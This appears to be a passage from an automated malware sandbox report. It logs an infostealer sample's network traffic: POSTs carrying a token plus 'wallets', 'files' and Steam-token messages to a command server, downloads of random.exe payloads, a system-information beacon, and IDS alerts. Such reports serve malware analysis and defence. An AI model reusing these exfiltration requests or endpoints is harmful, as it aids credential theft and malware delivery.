41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="message"wallets------DGHJECAFIDAFHJKFCGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEGCAEGIIJKFIEHIJEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 47 43 41 45 47 49 49 4a 4b 46 49 45 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="message"files------DBKEGCAEGIIJKFIEHIJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file"------IJKFHIIEHIEGDHJJJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKEBGHJKFIDGCAAFCAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 46 2d 2d 0d 0a Data Ascii: ------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------JJKEBGHJKFIDGCAAFCAFContent-Disposition: form-data; name="message"ybncbhylepme------JJKEBGHJKFIDGCAAFCAF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 2d 2d 0d 0a Data Ascii: ------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKKKFBGDHJKFHJJJJDGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 36 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009648001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /iYUeIWtRvzKHTkiRYPPG1732630737 HTTP/1.1Host: home.twentykm20sr.topAccept: /Content-Type: application/jsonContent-Length: 374913Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 37 33 33 34 32 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 36 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009653001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804 HTTP/1.1Host: home.twentykm20sr.topAccept: /
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 36 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009654001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 43 45 37 37 44 45 30 42 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 2d 2d 0d 0a Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="hwid"40CE77DE0B39786254513------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="build"mars------KJDGDGDHDGDBFIDHDBAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 36 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009655001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBAKKKFBFHIDGIIEHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 43 45 37 37 44 45 30 42 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 2d 2d 0d 0a Data Ascii: ------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="hwid"40CE77DE0B39786254513------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="build"mars------IIJDBAKKKFBFHIDGIIEH--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49702 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49850 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49942 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:54498 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:54528 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:54550 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:54551 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:54556 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:54567 -> 104.21.82.174:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:54568 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:54580 -> 104.21.82.174:443

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE7CC60 PR_Recv,

1_2_6CE7CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
